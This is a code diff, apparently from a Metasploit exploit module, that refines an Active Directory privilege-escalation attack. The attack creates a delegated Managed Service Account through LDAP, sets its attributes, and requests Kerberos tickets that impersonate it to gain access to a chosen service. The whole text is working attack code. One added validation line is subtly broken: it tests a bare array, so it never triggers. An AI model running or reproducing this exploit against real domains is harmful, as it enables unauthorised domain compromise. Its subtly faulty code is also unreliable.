@@ -77,6 +77,24 @@ def windows_version_vulnerable?
7777 true
7878 end
7979
80+ def validate
81+ errors = { }
82+
83+ unless %w[ auto ntlm plaintext ]
84+ # if AUTO changes in the future to not require a password, we'll need to reevaluate this
85+ errors [ 'LDAP::Auth' ] = 'Only password-based LDAP authentication methods are supported with this exploit.'
86+ end
87+
88+ case action . name
89+ when 'GET_TICKET'
90+ if %w[ auto ntlm ] . include? ( datastore [ 'LDAP::Auth' ] ) && Net ::NTLM . is_ntlm_hash? ( datastore [ 'LDAPPassword' ] . encode ( ::Encoding ::UTF_16LE ) )
91+ errors [ 'LDAPPassword' ] = 'The GET_TICKET action is incompatible with LDAP passwords that are NTLM hashes.'
92+ end
93+ end
94+
95+ raise Msf ::OptionValidateError . new ( errors ) unless errors . empty?
96+ end
97+
8098 def check
8199 ldap_connect do |ldap |
82100 validate_bind_success! ( ldap )
@@ -107,9 +125,13 @@ def check
107125 Exploit ::CheckCode ::Appears
108126 end
109127 rescue Errno ::ECONNRESET
110- return Exploit ::CheckCode ::Unknown ( 'The connection was reset' )
111- rescue Rex ::ConnectionError , Net ::LDAP ::Error => e
112- return Exploit ::CheckCode ::Unknown ( e . message )
128+ fail_with ( Failure ::Disconnected , 'The connection was reset.' )
129+ rescue Rex ::ConnectionError => e
130+ fail_with ( Failure ::Unreachable , e . message )
131+ rescue Rex ::Proto ::Kerberos ::Model ::Error ::KerberosError => e
132+ fail_with ( Failure ::NoAccess , e . message )
133+ rescue Net ::LDAP ::Error => e
134+ fail_with ( Failure ::Unknown , "#{ e . class } : #{ e . message } " )
113135 end
114136
115137 def get_ous_we_can_write_to
@@ -153,16 +175,17 @@ def query_ldap_server(raw_filter, attributes, base_prefix: nil)
153175 end
154176
155177 def create_dmsa ( account_name , writeable_dn , group_membership )
156- sam_account_name = account_name + '$' unless account_name . ends_with? ( '$' )
178+ sam_account_name = account_name
179+ sam_account_name += '$' unless sam_account_name . ends_with? ( '$' )
157180 dn = "CN=#{ account_name } ,#{ writeable_dn } "
158- print_status ( "Attempting to create dmsa account cn : #{ account_name } , dn : #{ dn } " )
181+ print_status ( "Attempting to create dMSA account CN : #{ account_name } , DN : #{ dn } " )
159182
160183 dmsa_attributes = {
161184 'objectclass' => [ 'top' , 'person' , 'organizationalPerson' , 'user' , 'computer' , 'msDS-DelegatedManagedServiceAccount' ] ,
162185 'cn' => [ account_name ] ,
163186 'useraccountcontrol' => [ '4096' ] ,
164187 'samaccountname' => [ sam_account_name ] ,
165- 'dnshostname' => [ "#{ Faker ::Name . first_name } .#{ datastore [ 'LDAPDomain' ] } " ] ,
188+ 'dnshostname' => [ "#{ Faker ::Name . first_name } .#{ domain_dns_name } " ] ,
166189 'msds-supportedencryptiontypes' => [ '28' ] ,
167190 'msds-managedpasswordinterval' => [ '30' ] ,
168191 'msds-groupmsamembership' => [ group_membership ] ,
@@ -211,7 +234,8 @@ def set_dmsa_attributes(dn, delegated_state, preceded_by_link)
211234 end
212235
213236 def query_account ( account_name )
214- account_name = datastore [ 'DMSA_ACCOUNT_NAME' ] + '$' unless datastore [ 'DMSA_ACCOUNT_NAME' ] . ends_with? ( '$' )
237+ account_name = datastore [ 'DMSA_ACCOUNT_NAME' ]
238+ account_name += '$' unless account_name . ends_with? ( '$' )
215239 entry = adds_get_object_by_samaccountname ( @ldap , account_name )
216240
217241 if entry . nil?
@@ -245,6 +269,18 @@ def get_group_memebership(sid)
245269 sd
246270 end
247271
272+ def domain_dns_name
273+ return @domain_dns_name if @domain_dns_name
274+
275+ if @ldap
276+ @domain_dns_name = adds_get_domain_info ( @ldap ) [ :dns_name ]
277+ else
278+ ldap_connect { |ldap | @domain_dns_name = adds_get_domain_info ( ldap ) [ :dns_name ] }
279+ end
280+
281+ @domain_dns_name
282+ end
283+
248284 def action_create_dmsa
249285 ldap_connect do |ldap |
250286 validate_bind_success! ( ldap )
@@ -259,7 +295,7 @@ def action_create_dmsa
259295 end
260296
261297 @ldap = ldap
262- currrent_user_info = adds_get_object_by_samaccountname ( ldap , datastore [ 'LDAPUsername' ] )
298+ currrent_user_info = adds_get_current_user ( @ ldap)
263299 sid = Rex ::Proto ::MsDtyp ::MsDtypSid . read ( currrent_user_info [ :objectsid ] . first )
264300
265301 # Get vulnerable OUs
@@ -319,11 +355,11 @@ def action_get_ticket
319355 impersonate = datastore [ 'DMSA_ACCOUNT_NAME' ]
320356 impersonate += '$' unless impersonate . ends_with? ( '$' )
321357 get_dmsa_tgs_options = {
322- 'DOMAIN' => datastore [ 'LDAPDomain' ] ,
358+ 'DOMAIN' => domain_dns_name ,
323359 'PASSWORD' => datastore [ 'LDAPPassword' ] ,
324360 'rhosts' => datastore [ 'RHOST' ] ,
325361 'username' => datastore [ 'LDAPUsername' ] ,
326- 'SPN' => "krbtgt/#{ datastore [ 'LDAPDomain' ] } " ,
362+ 'SPN' => "krbtgt/#{ domain_dns_name } " ,
327363 'action' => 'get_tgs' ,
328364 'IMPERSONATE' => impersonate ,
329365 'IMPERSONATE_TYPE' => 'dmsa' ,
@@ -341,7 +377,7 @@ def action_get_ticket
341377 # Lastly request the ticket for the desired service:
342378 get_priv_esc_tgs_options = {
343379 'username' => impersonate ,
344- 'SPN' => "#{ datastore [ 'SERVICE' ] } /#{ datastore [ 'RHOSTNAME' ] } .#{ datastore [ 'LDAPDomain' ] } " ,
380+ 'SPN' => "#{ datastore [ 'SERVICE' ] } /#{ datastore [ 'RHOSTNAME' ] } .#{ domain_dns_name } " ,
345381 'action' => 'get_tgs' ,
346382 'krb5ccname' => temp_ccache_file . path ,
347383 'PASSWORD' => :unset ,
@@ -360,7 +396,7 @@ def action_get_ticket
360396 def init_authenticator ( options = { } )
361397 options . merge! ( {
362398 host : rhost ,
363- realm : datastore [ 'LDAPDomain' ] ,
399+ realm : domain_dns_name ,
364400 username : datastore [ 'LDAPUsername' ] ,
365401 password : datastore [ 'LDAPPassword' ] ,
366402 framework : framework ,
0 commit comments